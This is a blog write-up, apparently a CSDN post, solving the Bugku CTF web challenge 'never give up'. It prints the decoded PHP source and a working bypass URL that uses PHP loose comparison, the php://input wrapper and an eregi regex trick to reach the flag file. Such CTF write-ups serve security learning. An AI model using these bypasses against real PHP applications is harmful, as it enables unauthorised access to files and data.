never give up! (bugku-web)

1.

打开页面 ,源码中有提示 1p.html
直接访问,页面会跳转,所以直接查看源码
在这里插入图片描述

2.

url解码,base64解码
在这里插入图片描述
得到php源码如下:

var Words ="<script>window.location.href='http://www.bugku.com';</script> 
<!--";if(!$_GET['id'])
{
	header('Location: hello.php?id=1');
	exit();
}
$id=$_GET['id'];
$a=$_GET['a'];
$b=$_GET['b'];
if(stripos($a,'.'))
{
	echo 'no no no no no no no';
	return ;
}
$data = @file_get_contents($a,'r');
if($data=="bugku is a nice plateform!" and $id==0 and strlen($b)>5 and eregi("111".substr($b,0,1),"1114") and substr($b,0,1)!=4)
{
	require("f4l2a3g.txt");
}
else
{
	print "never never never give up !!!";
}
?>
function OutWord()
{
var NewWords;
NewWords = unescape(Words);
document.write(NewWords);
} 
OutWord();
3.

因此,我们可以构造
id=%00或者id=.或者id=0e1
b=/0012345或者*12345或者?12345或者.12345(这里是运用了正则表达式的思想)
a=php://input

于是输入网址:
http://123.206.87.240:8006/test/hello.php?id=.&a=php://input&b=.12345
再用Burp Suite提交input数据流,得到flag在这里插入图片描述
参考博文,点击这里!!!

  • 1
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值